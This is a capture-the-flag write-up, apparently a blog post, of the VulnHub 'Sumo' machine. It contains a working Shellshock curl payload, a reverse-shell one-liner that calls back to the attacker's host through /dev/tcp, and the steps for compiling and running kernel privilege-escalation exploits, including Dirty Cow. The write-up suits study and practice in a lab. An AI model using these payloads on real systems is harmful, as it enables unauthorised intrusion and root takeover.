5 July 2022

Pentesting Fun Stuff

following the cyber security path…

Sumo

Introduction

This challenge can be found on VulnHub.com.
It is rated beginner and the goal is to get a root shell and then obtain the flag under /root.
Let’s get started!

I need to know what ports are open.
To do that, I start with a port-scan.

ORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 06:cb:9e:a3:af:f0:10:48:c4:17:93:4a:2c:45:d9:48 (DSA)
|   2048 b7:c5:42:7b:ba:ae:9b:9b:71:90:e7:47:b4:a4:de:5a (RSA)
|_  256 fa:81:cd:00:2d:52:66:0b:70:fc:b8:40:fa:db:18:30 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:69:04:82 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSH (port 22) and a web-server (port 80).
The OpenSSH version looks a bit out-of-date and the Apache web-server is from around 2012.

Lets start with the web-server first.
The main page has no title and no real content.

To get more information about the web-server, I run Nikto:

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.0.14
+ Target Hostname:    10.0.0.14
+ Target Port:        80
+ Start Time:         2020-06-09 21:12:01 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server may leak inodes via ETags, header found with file /, inode: 1706318, size: 177, mtime: Mon May 11 19:55:10 2020
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Uncommon header '93e4r0-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/test: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ Uncommon header '93e4r0-cve-2014-6271' found, with contents: true
+ OSVDB-112004: /cgi-bin/test.sh: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD 
+ OSVDB-3092: /cgi-bin/test/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8699 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2020-06-09 21:12:29 (GMT2) (28 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Shellshock

It is a security bug in the Unix Bash shell that causes Bash to execute bash commands from environment variables unintentionally.
If this vulnerability is successfully exploited, an attacker can remotely issue commands on the target host, i.e., remote code execution (RCE).
Though Bash is not an Internet-facing service, many network and internet services (for example, web servers) use environment variables for communicating with the server’s OS.
 

If environment variables are not sanitized before execution, an attacker can send commands through HTTP requests and get them executed by the server’s OS.

To test the server for the vulnerability, I’m going to use the tool cURL and see if I can execute a command.

curl -A "() { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id" http://10.0.0.14/cgi-bin/test/test.cgi

uid=33(www-data) gid=33(www-data) groups=33(www-data)

And I can. Let’s get a reverse shell.

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.12/443 0>&1' http://10.0.0.14/cgi-bin/test/test.cgi
listening on [any] 443 ...
10.0.0.14: inverse host lookup failed: Host name lookup failure
connect to [10.0.0.12] from (UNKNOWN) [10.0.0.14] 36856
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$

Let’s get some system info:

www-data@ubuntu:/usr/lib/cgi-bin$ uname -a
uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
www-data@ubuntu:/usr/lib/cgi-bin$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04 LTS"

An old Ubuntu version with an old kernel.
Let’s check searchsploit to see what kind of payloads it has for this type of kernel (this old should give a working kernel exploit).

Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)                                                                                                    | linux/local/44302.c
Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation

There are more possibilities according to searchsploit, but these two are more specific for this kernel.

There is a side-note for using these kinds of exploits.
In this case I’m using an VM, where I’m in control of the system.
If the system crashes, there is no problem because I will reboot the system or even roll-back a snapshot if I kill the system.
In a real-life situation you will not have these kinds of control and if you use a kernel exploit, you can crash an entire system.
Most customers won’t appreciate this. So keep this in mind.

But in this case, let’s try the first one.

To get files from my machine to a remote system, I use a Python 3 module called http.server.
With it I can use wget remotely and retrieve the data.
After downloading the file, I compile it with GCC.

www-data@ubuntu:/tmp$ gcc 33589.c -O2 -o exploit
gcc 33589.c -O2 -o exploit
gcc: error trying to exec 'cc1': execvp: No such file or directory

Bummer, an error.
In this case the error message is telling me, that the build-time dependency (in this case it is cc1) was not found.
To fix this you should install the appropriate package to the system. But in our case, this is not an option.

Maybe I can compile the program locally and execute it remotely?

www-data@ubuntu:/tmp$ ./exploit
./exploit
exploit: 33589.c:73: main: Assertion `argc == 2 && "target?"' failed.
bash: [2774: 1 (255)] tcsetattr: Inappropriate ioctl for device

Another error. Again bummer.
An assertion statement specifies a condition that you expect to be true at a point in your program.
If that condition is not true, the assertion fails, execution of your program is interrupted, and the Assertion Failed dialog box appears.

Let’s try something else. For the compilation it has requirements which it can not find.
If we adjust $PATH, so the system knows where to look for GCC it maybe solves out problem.
But with what do we adjust our path variable?

www-data@ubuntu:/tmp$ locate gcc
locate gcc
/etc/bash_completion.d/gcc
/lib/x86_64-linux-gnu/libgcc_s.so.1
/usr/lib/gcc
/usr/lib/gcc/x86_64-linux-gnu
/usr/lib/gcc/x86_64-linux-gnu/4.6
/usr/lib/gcc/x86_64-linux-gnu/4.6.3
/usr/share/doc/gcc-4.6-base
/usr/share/doc/libgcc1
/usr/share/doc/gcc-4.6-base/README.Debian
/usr/share/doc/gcc-4.6-base/README.Debian.amd64.gz
/usr/share/doc/gcc-4.6-base/TODO.Debian
/usr/share/doc/gcc-4.6-base/changelog.Debian.gz
/usr/share/doc/gcc-4.6-base/copyright
/usr/share/lintian/overrides/libgcc1
/usr/share/locale-langpack/en_AU/LC_MESSAGES/gcc-4.6.mo
/usr/share/locale-langpack/en_GB/LC_MESSAGES/gcc-4.6.mo
/var/cache/apt/archives/gcc-4.6-base_4.6.3-1ubuntu5_amd64.deb
/var/cache/apt/archives/libgcc1_1%3a4.6.3-1ubuntu5_amd64.deb
/var/lib/dpkg/info/gcc-4.6-base:amd64.list
/var/lib/dpkg/info/gcc-4.6-base:amd64.md5sums
/var/lib/dpkg/info/libgcc1:amd64.list
/var/lib/dpkg/info/libgcc1:amd64.md5sums
/var/lib/dpkg/info/libgcc1:amd64.postinst
/var/lib/dpkg/info/libgcc1:amd64.postrm
/var/lib/dpkg/info/libgcc1:amd64.shlibs
/var/lib/dpkg/info/libgcc1:amd64.symbols

Let’s try /usr/lib/gcc/x86_64-linux-gnu/4.6

www-data@ubuntu:/tmp$ PATH="/usr/lib/gcc/x86_64-linux-gnu/4.6:$PATH"                                               
PATH="/usr/lib/gcc/x86_64-linux-gnu/4.6:$PATH"
www-data@ubuntu:/tmp$ export PATH
export PATH

A check to see if it worked.

www-data@ubuntu:/tmp$ echo $PATH
echo $PATH
/usr/lib/gcc/x86_64-linux-gnu/4.6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Yes it worked. Now why did I do it this way?
Because when looking for an executable, the system checks its PATH environment variable.
This is also handy when you need to fool the system to look at an executable you control if someone made use of a relative path.

Compile it again and run the exploit.

www-data@ubuntu:/tmp$ ./exploit 0
./exploit 0
IDT addr = 0xffffffff81dd7000
Using int = 3 with offset = -49063

And then it hangs…
Checking the VM we can see why.

It crashed…
After trying the other option mentioned earlier (with no success), I switch to another kernel exploit: Dirty Cow

The steps are the same as before.
Transfer the exploit (got it from Searchsploit), compile it and run it.
Only difference is that this exploit asks for a password and then creates a user with root privs.

www-data@ubuntu:/tmp$ gcc -pthread dcow.c -o dcow -lcrypt
gcc -pthread dcow.c -o dcow -lcrypt
www-data@ubuntu:/tmp$ ./dcow
./dcow
Please enter the new password: toor
www-data@ubuntu:/usr/lib/cgi-bin$ cat /etc/passwd
cat /etc/passwd
firefart:fioaKmuWSeBhQ:0:0:pwned:/root:/bin/bash
n0w4n@lab:~/ctf/vulnhub/sumo$ ssh firefart@10.0.0.14
The authenticity of host '10.0.0.14 (10.0.0.14)' can't be established.
ECDSA key fingerprint is SHA256:G8HZXu6SUrixt/obia/CUlTgdJK9JaFKXwulm6uUrbQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.0.14' (ECDSA) to the list of known hosts.
firefart@10.0.0.14's password: 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon May 11 11:47:26 2020
firefart@ubuntu:~# id
uid=0(firefart) gid=0(root) groups=0(root)

From here on out it’s only getting the root.txt flag

firefart@ubuntu:~# cd /root
firefart@ubuntu:~# ls -lah
total 28K
drwx------  3 firefart root 4.0K May 13 11:24 .
drwxr-xr-x 23 firefart root 4.0K May 11 10:37 ..
-rw-------  1 firefart root   22 May 13 11:24 .bash_history
-rw-r--r--  1 firefart root 3.1K Apr 19  2012 .bashrc
drwx------  2 firefart root 4.0K May 11 11:47 .cache
-rw-r--r--  1 firefart root  140 Apr 19  2012 .profile
-rw-r--r--  1 firefart root   24 May 11 11:47 root.txt
firefart@ubuntu:~# cat root.txt
{?????????????????}

Conclusion

The description of this machine was beginner and maybe it wasn’t hard to figure out what the attack vectors were.
But the problem is with kernel exploits that the system can become very unstable.
With a VM you can try over and over again until you nailed it. But in real-life you maybe get one change.

I’m going to try a few more from this creator and hopefully there will be no more kernel exploits.

 

 

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.